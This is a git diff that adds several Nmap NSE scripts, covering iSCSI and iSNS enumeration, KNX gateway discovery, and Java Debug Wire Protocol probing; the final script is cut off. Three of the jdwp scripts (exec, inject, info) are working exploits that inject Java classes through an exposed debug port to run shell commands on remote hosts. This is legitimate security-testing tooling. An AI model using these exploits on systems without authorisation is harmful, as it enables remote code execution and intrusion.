index 0000000..cadab6c
--- /dev/null
+++ b/scripts/iscsi-info.nse
@@ -0,0 +1,106 @@
+local iscsi = require "iscsi"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Collects and displays information from remote iSCSI targets.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 3260/tcp open iscsi
+-- | iscsi-info:
+-- | iqn.2006-01.com.openfiler:tsn.c8c08cad469d
+-- | Address: 192.168.56.5:3260,1
+-- | Authentication: NOT required
+-- | iqn.2006-01.com.openfiler:tsn.6aea7e052952
+-- | Address: 192.168.56.5:3260,1
+-- | Authentication: required
+-- |_ Auth reason: Authentication failure
+--
+-- @xmloutput
+-- <table key="iqn.2006-01.com.openfiler:tsn.c8c08cad469d">
+-- <elem key="Address">192.168.56.5:3260,1</elem>
+-- <elem key="Authentication">NOT required</elem>
+-- </table>
+-- <table key="iqn.2006-01.com.openfiler:tsn.6aea7e052952">
+-- <elem key="Address">192.168.56.5:3260,1</elem>
+-- <elem key="Authentication">required</elem>
+-- <elem key="Auth reason">Authentication failure</elem>
+-- </table>
+
+-- Version 0.2
+-- Created 2010/11/18 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 2010/11/28 - v0.2 - improved error handling <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "safe", "discovery"}
+
+
+portrule = shortport.portnumber(3260, "tcp", {"open", "open|filtered"})
+
+-- Attempts to determine whether authentication is required or not
+--
+-- @return status true on success false on failure
+-- @return result true if auth is required false if not
+-- err string containing error message
+local function requiresAuth( host, port, target )
+ local helper = iscsi.Helper:new( host, port )
+ local errors = iscsi.Packet.LoginResponse.Errors
+
+ local status, err = helper:connect()
+ if ( not(status) ) then return false, "Failed to connect" end
+
+ local response
+ status, response = helper:login( target )
+ if ( not(status) ) then return false, response:getErrorMessage() end
+
+ if ( status and response:getErrorCode() == errors.SUCCESS) then
+ -- try to logout
+ status = helper:logout()
+ end
+
+ status = helper:close()
+
+ return true, "Authentication successful"
+end
+
+action = function( host, port )
+
+ local helper = iscsi.Helper:new( host, port )
+
+ local status = helper:connect()
+ if ( not(status) ) then
+ stdnse.debug1("failed to connect to server" )
+ return
+ end
+
+ local records
+ status, records = helper:discoverTargets()
+ if ( not(status) ) then
+ stdnse.debug1("failed to discover targets" )
+ return
+ end
+ status = helper:logout()
+ status = helper:close()
+
+ local result = stdnse.output_table()
+ for _, record in ipairs(records) do
+ local result_part = stdnse.output_table()
+ for _, addr in ipairs( record.addr ) do
+ result_part["Address"] = addr
+ end
+
+ local status, err = requiresAuth( host, port, record.name )
+ if ( not(status) ) then
+ result_part["Authentication"] = "required"
+ result_part["Auth reason"] = err
+ else
+ result_part["Authentication"] = "NOT required"
+ end
+ result[record.name] = result_part
+ end
+ return result
+end
diff --git a/scripts/isns-info.nse b/scripts/isns-info.nse
new file mode 100644
index 0000000..3241abc
--- /dev/null
+++ b/scripts/isns-info.nse
@@ -0,0 +1,71 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local isns = require "isns"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Lists portals and iSCSI nodes registered with the Internet Storage Name
+Service (iSNS).
+]]
+
+---
+-- @usage
+-- nmap -p 3205 <ip> --script isns-info
+--
+-- @output
+-- PORT STATE SERVICE
+-- 3205/tcp open unknown
+-- | isns-info:
+-- | Portal
+-- | ip port
+-- | 192.168.0.1 3260/tcp
+-- | 192.168.0.2 3260/tcp
+-- | iSCSI Nodes
+-- | node type
+-- | iqn.2001-04.com.example:storage.disk2.sys1.xyz Target
+-- | iqn.2001-05.com.example:storage.disk2.sys1.xyz Target
+-- |_ iqn.2001-04.a.com.example:storage.disk3.sys2.abc Target
+--
+
+portrule = shortport.port_or_service(3205, 'isns')
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local helper = isns.Helper:new(host, port)
+ if ( not(helper:connect()) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local status, portals = helper:listPortals()
+ if ( not(status) ) then
+ return
+ end
+
+ local results = {}
+ local restab = tab.new(2)
+ tab.addrow(restab, "ip", "port")
+ for _, portal in ipairs(portals) do
+ tab.addrow(restab, portal.addr, ("%d/%s"):format(portal.port, portal.proto))
+ end
+ table.insert(results, { name = "Portal", tab.dump(restab) })
+
+ local status, nodes = helper:listISCINodes()
+ if ( not(status) ) then
+ return
+ end
+
+ restab = tab.new(2)
+ tab.addrow(restab, "node", "type")
+ for _, portal in ipairs(nodes) do
+ tab.addrow(restab, portal.name, portal.type)
+ end
+ table.insert(results, { name = "iSCSI Nodes", tab.dump(restab) })
+
+ return stdnse.format_output(true, results)
+end
diff --git a/scripts/jdwp-exec.nse b/scripts/jdwp-exec.nse
new file mode 100644
index 0000000..42b0015
--- /dev/null
+++ b/scripts/jdwp-exec.nse
@@ -0,0 +1,97 @@
+local io = require "io"
+local jdwp = require "jdwp"
+local stdnse = require "stdnse"
+local string = require "string"
+local nmap = require "nmap"
+local shortport = require "shortport"
+
+description = [[
+Attempts to exploit java's remote debugging port. When remote debugging
+port is left open, it is possible to inject java bytecode and achieve
+remote code execution. This script abuses this to inject and execute
+a Java class file that executes the supplied shell command and returns
+its output.
+
+The script injects the JDWPSystemInfo class from
+nselib/jdwp-class/ and executes its run() method which
+accepts a shell command as its argument.
+
+]]
+
+---
+-- @usage nmap -sT <target> -p <port> --script=+jdwp-exec --script-args cmd="date"
+--
+-- @args jdwp-exec.cmd Command to execute on the remote system.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2010/tcp open search syn-ack
+-- | jdwp-exec:
+-- | date output:
+-- | Sat Aug 11 15:27:21 Central European Daylight Time 2012
+-- |_
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","intrusive"}
+
+portrule = function(host, port)
+ -- JDWP will close the port if there is no valid handshake within 2
+ -- seconds, Service detection's NULL probe detects it as tcpwrapped.
+ return port.service == "tcpwrapped"
+ and port.protocol == "tcp" and port.state == "open"
+ and not(shortport.port_is_excluded(port.number,port.protocol))
+end
+
+action = function(host, port)
+ stdnse.sleep(5) -- let the remote socket recover from connect() scan
+ local status,socket = jdwp.connect(host,port) -- initialize the connection
+ if not status then
+ stdnse.debug1("error, %s",socket)
+ return nil
+ end
+
+ -- read .class file
+ local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPExecCmd.class"), "rb")
+ local class_bytes = file:read("a")
+ file:close()
+
+ -- inject the class
+ local injectedClass
+ status,injectedClass = jdwp.injectClass(socket,class_bytes)
+ if not status then
+ stdnse.debug1("Failed to inject class")
+ return stdnse.format_output(false, "Failed to inject class")
+ end
+ -- find injected class method
+ local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
+
+ if runMethodID == nil then
+ stdnse.debug1("Couldn't find run method")
+ return stdnse.format_output(false, "Couldn't find run method.")
+ end
+ -- set run() method argument
+ local cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd')
+ if cmd == nil then
+ return stdnse.format_output(false, "This script requires a cmd argument to be specified.")
+ end
+ local cmdID
+ status,cmdID = jdwp.createString(socket,0,cmd)
+ if not status then
+ stdnse.debug1("Couldn't create string")
+ return stdnse.format_output(false, cmdID)
+ end
+ local runArgs = string.pack(">B I8", 0x4c, cmdID) -- 0x4c is object type tag
+ -- invoke run method
+ local result
+ status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs)
+ if not status then
+ stdnse.debug1("Couldn't invoke run method")
+ return stdnse.format_output(false, result)
+ end
+ -- get the result string
+ local _, stringID = string.unpack(">B I8", result)
+ status,result = jdwp.readString(socket,0,stringID)
+ return stdnse.format_output(status,result)
+end
+
diff --git a/scripts/jdwp-info.nse b/scripts/jdwp-info.nse
new file mode 100644
index 0000000..9c4ee00
--- /dev/null
+++ b/scripts/jdwp-info.nse
@@ -0,0 +1,93 @@
+local io = require "io"
+local jdwp = require "jdwp"
+local stdnse = require "stdnse"
+local string = require "string"
+local nmap = require "nmap"
+local shortport = require "shortport"
+
+description = [[
+Attempts to exploit java's remote debugging port. When remote
+debugging port is left open, it is possible to inject java bytecode
+and achieve remote code execution. This script injects and execute a
+Java class file that returns remote system information.
+]]
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default","safe","discovery"}
+
+---
+-- @usage nmap -sT <target> -p <port> --script=+jdwp-info
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2010/tcp open search syn-ack
+-- | jdwp-info:
+-- | Available processors: 1
+-- | Free memory: 15331736
+-- | File system root: A:\
+-- | Total space (bytes): 0
+-- | Free space (bytes): 0
+-- | File system root: C:\
+-- | Total space (bytes): 42935926784
+-- | Free space (bytes): 29779054592
+-- | File system root: D:\
+-- | Total space (bytes): 0
+-- | Free space (bytes): 0
+-- | Name of the OS: Windows XP
+-- | OS Version : 5.1
+-- | OS patch level : Service Pack 3
+-- | OS Architecture: x86
+-- | Java version: 1.7.0_01
+-- | Username: user
+-- | User home: C:\Documents and Settings\user
+-- |_ System time: Sat Aug 11 15:21:44 CEST 2012
+
+portrule = function(host, port)
+ -- JDWP will close the port if there is no valid handshake within 2
+ -- seconds, Service detection's NULL probe detects it as tcpwrapped.
+ return port.service == "tcpwrapped"
+ and port.protocol == "tcp" and port.state == "open"
+ and not(shortport.port_is_excluded(port.number,port.protocol))
+end
+
+action = function(host, port)
+ stdnse.sleep(5) -- let the remote socket recover from connect() scan
+ local status,socket = jdwp.connect(host,port) -- initialize the connection
+ if not status then
+ stdnse.debug1("error, %s",socket)
+ return nil
+ end
+
+ -- read .class file
+ local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb")
+ local class_bytes = file:read("a")
+
+ -- inject the class
+ local injectedClass
+ status,injectedClass = jdwp.injectClass(socket,class_bytes)
+ if not status then
+ stdnse.debug1("Failed to inject class")
+ return stdnse.format_output(false, "Failed to inject class")
+ end
+ -- find injected class method
+ local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
+
+ if runMethodID == nil then
+ stdnse.debug1("Couldn't find run method")
+ return stdnse.format_output(false, "Couldn't find run method.")
+ end
+
+ -- invoke run method
+ local result
+ status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
+ if not status then
+ stdnse.debug1("Couldn't invoke run method")
+ return stdnse.format_output(false, result)
+ end
+ -- get the result string
+ local stringID = string.unpack(">x I8",result)
+ status,result = jdwp.readString(socket,0,stringID)
+ -- parse results
+ return stdnse.format_output(status,result)
+end
+
diff --git a/scripts/jdwp-inject.nse b/scripts/jdwp-inject.nse
new file mode 100644
index 0000000..9628a50
--- /dev/null
+++ b/scripts/jdwp-inject.nse
@@ -0,0 +1,87 @@
+local io = require "io"
+local jdwp = require "jdwp"
+local stdnse = require "stdnse"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+
+description = [[
+Attempts to exploit java's remote debugging port. When remote debugging port
+is left open, it is possible to inject java bytecode and achieve remote code
+execution. This script allows injection of arbitrary class files.
+
+After injection, class' run() method is executed.
+Method run() has no parameters, and is expected to return a string.
+
+You must specify your own .class file to inject by <code>filename</code> argument.
+See nselib/data/jdwp-class/README for more.
+]]
+
+---
+-- @usage nmap -sT <target> -p <port> --script=+jdwp-inject --script-args filename=HelloWorld.class
+--
+-- @args jdwp-inject.filename Java <code>.class</code> file to inject.
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2010/tcp open search syn-ack
+-- | jdwp-inject:
+-- |_ Hello world from the remote machine!
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","intrusive"}
+
+portrule = function(host, port)
+ -- JDWP will close the port if there is no valid handshake within 2
+ -- seconds, Service detection's NULL probe detects it as tcpwrapped.
+ return port.service == "tcpwrapped"
+ and port.protocol == "tcp" and port.state == "open"
+ and not(shortport.port_is_excluded(port.number,port.protocol))
+end
+
+action = function(host, port)
+ stdnse.sleep(5) -- let the remote socket recover from connect() scan
+ local status,socket = jdwp.connect(host,port) -- initialize the connection
+ if not status then
+ stdnse.debug1("error, %s",socket)
+ return nil
+ end
+
+ -- read .class file
+ local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
+ if filename == nil then
+ return stdnse.format_output(false, "This script requires a .class file to inject.")
+ end
+ local file = io.open(nmap.fetchfile(filename) or filename, "rb")
+ local class_bytes = file:read("a")
+ file:close()
+
+ -- inject the class
+ local injectedClass
+ status,injectedClass = jdwp.injectClass(socket,class_bytes)
+ if not status then
+ stdnse.debug1("Failed to inject class")
+ return stdnse.format_output(false, "Failed to inject class")
+ end
+ -- find injected class method
+ local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
+
+ if runMethodID == nil then
+ stdnse.debug1("Couldn't find run method")
+ return stdnse.format_output(false, "Couldn't find run method.")
+ end
+
+ -- invoke run method
+ local result
+ status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
+ if not status then
+ stdnse.debug1("Couldn't invoke run method")
+ return stdnse.format_output(false, result)
+ end
+ -- get the result string
+ local stringID = string.unpack(">x I8",result)
+ status,result = jdwp.readString(socket,0,stringID)
+ -- parse results
+ return stdnse.format_output(status,result)
+end
+
diff --git a/scripts/jdwp-version.nse b/scripts/jdwp-version.nse
new file mode 100644
index 0000000..64f8407
--- /dev/null
+++ b/scripts/jdwp-version.nse
@@ -0,0 +1,59 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+
+description = [[
+Detects the Java Debug Wire Protocol. This protocol is used by Java programs
+to be debugged via the network. It should not be open to the public Internet,
+as it does not provide any security against malicious attackers who can inject
+their own bytecode into the debugged process.
+
+Documentation for JDWP is available at
+http://java.sun.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
+]]
+author = "Michael Schierl <schierlm@gmx.de>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"version"}
+
+---
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 9999/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) version 1.6 1.6.0_17
+
+
+portrule = function(host, port)
+ -- JDWP will close the port if there is no valid handshake within 2
+ -- seconds, Service detection's NULL probe detects it as tcpwrapped.
+ return port.service == "tcpwrapped"
+ and port.protocol == "tcp" and port.state == "open"
+ and not(shortport.port_is_excluded(port.number,port.protocol))
+ and nmap.version_intensity() >= 7
+end
+
+action = function(host, port)
+ -- make sure we get at least one more packet after the JDWP-Handshake
+ -- response even if there is some delay; the handshake response has 14
+ -- bytes, so wait for 18 bytes here.
+ local status, result = comm.exchange(host, port, "JDWP-Handshake\0\0\0\11\0\0\0\1\0\1\1", {proto="tcp", bytes=18})
+ if (not status) then
+ return
+ end
+ -- match jdwp m|JDWP-Handshake| p/$1/ v/$3/ i/$2\n$4/
+ local match = {string.match(result, "^JDWP%-Handshake\0\0..\0\0\0\1\128\0\0\0\0..([^\0\n]*)\n([^\0]*)\0\0..\0\0..\0\0..([0-9._]+)\0\0..([^\0]*)")}
+ if match == nil or #match == 0 then
+ -- if we have one \128 (reply marker), it is at least not echo because the request did not contain \128
+ if (string.match(result,"^JDWP%-Handshake\0.*\128") ~= nil) then
+ port.version.name="jdwp"
+ port.version.product="unknown"
+ nmap.set_port_version(host, port)
+ end
+ return
+ end
+ port.version.name="jdwp"
+ port.version.product = match[1]
+ port.version.version = match[3]
+ -- port.version.extrainfo = match[2] .. "\n" .. match[4]
+ nmap.set_port_version(host, port)
+ return
+end
diff --git a/scripts/knx-gateway-discover.nse b/scripts/knx-gateway-discover.nse
new file mode 100644
index 0000000..7446cbd
--- /dev/null
+++ b/scripts/knx-gateway-discover.nse
@@ -0,0 +1,298 @@
+local nmap = require "nmap"
+local coroutine = require "coroutine"
+local stdnse = require "stdnse"
+local table = require "table"
+local packet = require "packet"
+local ipOps = require "ipOps"
+local string = require "string"
+local target = require "target"
+local knx = require "knx"
+
+description = [[
+Discovers KNX gateways by sending a KNX Search Request to the multicast address
+224.0.23.12 including a UDP payload with destination port 3671. KNX gateways
+will respond with a KNX Search Response including various information about the
+gateway, such as KNX address and supported services.
+
+Further information:
+ * DIN EN 13321-2
+ * http://www.knx.org/
+]]
+
+author = {"Niklaus Schiess <nschiess@ernw.de>", "Dominik Schneider <dschneider@ernw.de>"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "broadcast"}
+
+---
+--@args timeout Max time to wait for a response. (default 3s)
+--
+--@usage
+-- nmap --script knx-gateway-discover -e eth0
+--
+--@output
+-- Pre-scan script results:
+-- | knx-gateway-discover:
+-- | 192.168.178.11:
+-- | Body:
+-- | HPAI:
+-- | Port: 3671
+-- | DIB_DEV_INFO:
+-- | KNX address: 15.15.255
+-- | Decive serial: 00ef2650065c
+-- | Multicast address: 0.0.0.0
+-- | Device MAC address: 00:05:26:50:06:5c
+-- | Device friendly name: IP-Viewer
+-- | DIB_SUPP_SVC_FAMILIES:
+-- | KNXnet/IP Core version 1
+-- | KNXnet/IP Device Management version 1
+-- | KNXnet/IP Tunnelling version 1
+-- |_ KNXnet/IP Object Server version 1
+--
+
+prerule = function()
+ if not nmap.is_privileged() then
+ stdnse.verbose1("Not running due to lack of privileges.")
+ return false
+ end
+ return true
+end
+
+--- Sends a knx search request
+-- @param query KNX search request message
+-- @param mcat Multicast destination address
+-- @param port Port to sent to
+local knxSend = function(query, mcast, mport)
+ -- Multicast IP and UDP port
+ local sock = nmap.new_socket()
+ local status, err = sock:connect(mcast, mport, "udp")
+ if not status then
+ stdnse.debug1("%s", err)
+ return
+ end
+ sock:send(query)
+ sock:close()
+end
+
+local fam_meta = {
+ __tostring = function (self)
+ return ("%s version %d"):format(
+ knx.knxServiceFamilies[self.service_id] or self.service_id,
+ self.Version
+ )
+ end
+}
+
+--- Parse a Search Response
+-- @param knxMessage Payload of captures UDP packet
+local knxParseSearchResponse = function(ips, results, knxMessage)
+ local knx_header_length, knx_protocol_version, knx_service_type, knx_total_length, pos = knx.parseHeader(knxMessage)
+
+ if not knx_header_length then
+ stdnse.debug1("KNX header error: %s", knx_protocol_version)
+ return
+ end
+
+ local message_format = '>B c1 c4 I2 BBB c1 I2 c2 c6 c4 c6 c30 BB'
+ if #knxMessage - pos + 1 < string.packlen(message_format) then
+ stdnse.debug1("Message too short for KNX message")
+ return
+ end
+
+ local knx_hpai_structure_length,
+ knx_hpai_protocol_code,
+ knx_hpai_ip_address,
+ knx_hpai_port,
+ knx_dib_structure_length,
+ knx_dib_description_type,
+ knx_dib_knx_medium,
+ knx_dib_device_status,
+ knx_dib_knx_address,
+ knx_dib_project_install_ident,
+ knx_dib_dev_serial,
+ knx_dib_dev_multicast_addr,
+ knx_dib_dev_mac,
+ knx_dib_dev_friendly_name,
+ knx_supp_svc_families_structure_length,
+ knx_supp_svc_families_description, pos = string.unpack(message_format, knxMessage, pos)
+
+ knx_hpai_ip_address = ipOps.str_to_ip(knx_hpai_ip_address)
+
+ knx_dib_description_type = knx.knxDibDescriptionTypes[knx_dib_description_type]
+ knx_dib_knx_medium = knx.knxMediumTypes[knx_dib_knx_medium]
+ knx_dib_dev_multicast_addr = ipOps.str_to_ip(knx_dib_dev_multicast_addr)
+ knx_dib_dev_mac = stdnse.format_mac(knx_dib_dev_mac)
+
+ local knx_supp_svc_families = {}
+ knx_supp_svc_families_description = knx.knxDibDescriptionTypes[knx_supp_svc_families_description] or knx_supp_svc_families_description
+
+ for i=0,(knx_total_length - pos),2 do
+ local family = {}
+ family.service_id, family.Version, pos = string.unpack('BB', knxMessage, pos)
+ setmetatable(family, fam_meta)
+ knx_supp_svc_families[#knx_supp_svc_families+1] = family
+ end
+
+ local search_response = stdnse.output_table()
+ if nmap.debugging() > 0 then
+ search_response.Header = stdnse.output_table()
+ search_response.Header["Header length"] = knx_header_length
+ search_response.Header["Protocol version"] = knx_protocol_version
+ search_response.Header["Service type"] = "SEARCH_RESPONSE (0x0202)"
+ search_response.Header["Total length"] = knx_total_length
+
+ search_response.Body = stdnse.output_table()
+ search_response.Body.HPAI = stdnse.output_table()
+ search_response.Body.HPAI["Protocol code"] = stdnse.tohex(knx_hpai_protocol_code)
+ search_response.Body.HPAI["IP address"] = knx_hpai_ip_address
+ search_response.Body.HPAI["Port"] = knx_hpai_port
+
+ search_response.Body.DIB_DEV_INFO = stdnse.output_table()
+ search_response.Body.DIB_DEV_INFO["Description type"] = knx_dib_description_type
+ search_response.Body.DIB_DEV_INFO["KNX medium"] = knx_dib_knx_medium
+ search_response.Body.DIB_DEV_INFO["Device status"] = stdnse.tohex(knx_dib_device_status)
+ search_response.Body.DIB_DEV_INFO["KNX address"] = knx.parseKnxAddress(knx_dib_knx_address)
+ search_response.Body.DIB_DEV_INFO["Project installation identifier"] = stdnse.tohex(knx_dib_project_install_ident)
+ search_response.Body.DIB_DEV_INFO["Decive serial"] = stdnse.tohex(knx_dib_dev_serial)
+ search_response.Body.DIB_DEV_INFO["Multicast address"] = knx_dib_dev_multicast_addr
+ search_response.Body.DIB_DEV_INFO["Device MAC address"] = knx_dib_dev_mac
+ search_response.Body.DIB_DEV_INFO["Device friendly name"] = knx_dib_dev_friendly_name
+ search_response.Body.DIB_SUPP_SVC_FAMILIES = knx_supp_svc_families
+ else
+ search_response.Body = stdnse.output_table()
+ search_response.Body.HPAI = stdnse.output_table()
+ search_response.Body.HPAI["Port"] = knx_hpai_port
+
+ search_response.Body.DIB_DEV_INFO = stdnse.output_table()
+ search_response.Body.DIB_DEV_INFO["KNX address"] = knx.parseKnxAddress(knx_dib_knx_address)
+ search_response.Body.DIB_DEV_INFO["Decive serial"] = stdnse.tohex(knx_dib_dev_serial)
+ search_response.Body.DIB_DEV_INFO["Multicast address"] = knx_dib_dev_multicast_addr
+ search_response.Body.DIB_DEV_INFO["Device MAC address"] = knx_dib_dev_mac
+ search_response.Body.DIB_DEV_INFO["Device friendly name"] = knx_dib_dev_friendly_name
+ search_response.Body.DIB_SUPP_SVC_FAMILIES = knx_supp_svc_families
+ end
+
+ ips[#ips+1] = knx_hpai_ip_address
+ results[knx_hpai_ip_address] = search_response
+end
+
+--- Listens for knx search responses
+-- @param interface Network interface to listen on.
+-- @param timeout Maximum time to listen.
+-- @param ips Table to put IP addresses into.
+-- @param result Table to put responses into.
+local knxListen = function(interface, timeout, ips, results)
+ local condvar = nmap.condvar(results)
+ local start = nmap.clock_ms()
+ local listener = nmap.new_socket()
+ local threads = {}
+ local status, l3data, _
+ local filter = 'dst host ' .. interface.address .. ' and udp src port 3671'
+ listener:set_timeout(100)
+ listener:pcap_open(interface.device, 1024, true, filter)
+
+ while (nmap.clock_ms() - start) < timeout do
+ status, _, _, l3data = listener:pcap_receive()
+ if status then
+ local p = packet.Packet:new(l3data, #l3data)
+ -- Skip IP and UDP headers
+ local knxMessage = string.sub(l3data, p.ip_hl*4 + 8 + 1)
+ local co = stdnse.new_thread(knxParseSearchResponse, ips, results, knxMessage)
+ threads[co] = true;
+ end
+ end
+
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil;
+ condvar("signal")
+end
+
+--- Returns the network interface used to send packets to a target host.
+-- @param target host to which the interface is used.
+-- @return interface Network interface used for target host.
+local getInterface = function(target)
+ -- First, create dummy UDP connection to get interface
+ local sock = nmap.new_socket()
+ local status, err = sock:connect(target, "12345", "udp")
+ if not status then
+ stdnse.verbose1("%s", err)
+ return
+ end
+ local status, address, _, _, _ = sock:get_info()
+ if not status then
+ stdnse.verbose1("%s", err)
+ return
+ end
+ for _, interface in pairs(nmap.list_interfaces()) do
+ if interface.address == address then
+ return interface
+ end
+ end
+end
+
+--- Make a dummy connection and return a free source port
+-- @param target host to which the interface is used.
+-- @return lport Local port which can be used in KNX messages.
+local getSourcePort = function(target)
+ local socket = nmap.new_socket()
+ local _, _ = socket:connect(target, "12345", "udp")
+ local _, _, lport, _, _ = socket:get_info()
+ return lport
+end
+
+action = function()
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ timeout = (timeout or 3) * 1000
+ local ips, results = {}, {}
+ local mcast = "224.0.23.12"
+ local mport = 3671
+ local lport = getSourcePort(mcast)
+
+ -- Check if a valid interface was provided
+ local interface = nmap.get_interface()
+ if interface then
+ interface = nmap.get_interface_info(interface)
+ else
+ interface = getInterface(mcast)
+ end
+ if not interface then
+ return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
+ end
+
+ -- Launch listener thread
+ stdnse.new_thread(knxListen, interface, timeout, ips, results)
+ -- Craft raw query
+ local query = knx.query(0x0201, interface.address, lport)
+ -- Small sleep so the listener doesn't miss the response
+ stdnse.sleep(0.5)
+ -- Send query
+ knxSend(query, mcast, mport)
+ -- Wait for listener thread to finish
+ local condvar = nmap.condvar(results)
+ condvar("wait")
+
+ -- Check responses
+ if #ips > 0 then
+ local sort_by_ip = function(a, b)
+ return ipOps.compare_ip(a, "lt", b)
+ end
+ table.sort(ips, sort_by_ip)
+ local output = stdnse.output_table()
+
+ for i=1, #ips do
+ local ip = ips[i]
+ output[ip] = results[ip]
+
+ if target.ALLOW_NEW_TARGETS then
+ target.add(ip)
+ end
+ end
+
+ return output
+ end
+end
diff --git a/scripts/knx-gateway-info.nse b/scripts/knx-gateway-info.nse
new file mode 100644
index 0000000..c59f1ee
--- /dev/null
+++ b/scripts/knx-gateway-info.nse
@@ -0,0 +1,147 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local string = require "string"
+local knx = require "knx"
+
+description = [[
+Identifies a KNX gateway on UDP port 3671 by sending a KNX Description Request.
+
+Further information:
+ * DIN EN 13321-2
+ * http://www.knx.org/
+]]
+
+author = {"Niklaus Schiess <nschiess@ernw.de>", "Dominik Schneider <dschneider@ernw.de>"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+portrule = shortport.port_or_service(3671, "efcp", "udp")
+
+---
+--@output
+-- 3671/udp open|filtered efcp
+-- | knx-gateway-info:
+-- | Body:
+-- | DIB_DEV_INFO:
+-- | KNX address: 15.15.255
+-- | Decive serial: 00ef2650065c
+-- | Multicast address: 0.0.0.0
+-- | Device friendly name: IP-Viewer
+-- | DIB_SUPP_SVC_FAMILIES:
+-- | KNXnet/IP Core version 1
+-- | KNXnet/IP Device Management version 1
+-- | KNXnet/IP Tunneling version 1
+-- |_ KNXnet/IP Object Server version 1
+--
+
+
+local fam_meta = {
+ __tostring = function (self)
+ return ("%s version %d"):format(
+ knx.knxServiceFamilies[self.service_id] or self.service_id,
+ self.Version
+ )
+ end
+}
+
+--- Parse a Description Response
+-- @param knxMessage UDP response packet
+local knxParseDescriptionResponse = function(knxMessage)
+ local knx_header_length, knx_protocol_version, knx_service_type, knx_total_length, pos = knx.parseHeader(knxMessage)
+
+ if not knx_header_length then
+ stdnse.debug1("KNX header error: %s", knx_protocol_version)
+ return
+ end
+
+ local message_format = '>BBB c1 I2 c2 c6 c4 c6 c30 BB'
+ if #knxMessage - pos + 1 < string.packlen(message_format) then
+ stdnse.debug1("Message too short for KNX message")
+ return
+ end
+
+ local knx_dib_structure_length,
+ knx_dib_description_type,
+ knx_dib_knx_medium,
+ knx_dib_device_status,
+ knx_dib_knx_address,
+ knx_dib_project_install_ident,
+ knx_dib_dev_serial,
+ knx_dib_dev_multicast_addr,
+ knx_dib_dev_mac,
+ knx_dib_dev_friendly_name,
+ knx_supp_svc_families_structure_length,
+ knx_supp_svc_families_description, pos = string.unpack(message_format, knxMessage, pos)
+
+ knx_dib_description_type = knx.knxDibDescriptionTypes[knx_dib_description_type]
+ knx_dib_knx_medium = knx.knxMediumTypes[knx_dib_knx_medium]
+ knx_dib_dev_multicast_addr = ipOps.str_to_ip(knx_dib_dev_multicast_addr)
+ knx_dib_dev_mac = stdnse.format_mac(knx_dib_dev_mac)
+
+ local knx_supp_svc_families = {}
+ knx_supp_svc_families_description = knx.knxDibDescriptionTypes[knx_supp_svc_families_description] or knx_supp_svc_families_description
+
+ for i=0,(knx_total_length - pos),2 do
+ local family = {}
+ family.service_id, family.Version, pos = string.unpack('BB', knxMessage, pos)
+ setmetatable(family, fam_meta)
+ knx_supp_svc_families[#knx_supp_svc_families+1] = family
+ end
+
+ --Build a proper response table
+ local description_response = stdnse.output_table()
+ if nmap.debugging() > 0 then
+ description_response.Header = stdnse.output_table()
+ description_response.Header["Header length"] = knx_header_length
+ description_response.Header["Protocol version"] = knx_protocol_version
+ description_response.Header["Service type"] = "DESCRIPTION_RESPONSE (0x0204)"
+ description_response.Header["Total length"] = knx_total_length
+
+ description_response.Body = stdnse.output_table()
+ description_response.Body.DIB_DEV_INFO = stdnse.output_table()
+ description_response.Body.DIB_DEV_INFO["Description type"] = knx_dib_description_type
+ description_response.Body.DIB_DEV_INFO["KNX medium"] = knx_dib_knx_medium
+ description_response.Body.DIB_DEV_INFO["Device status"] = stdnse.tohex(knx_dib_device_status)
+ description_response.Body.DIB_DEV_INFO["KNX address"] = knx.parseKnxAddress(knx_dib_knx_address)
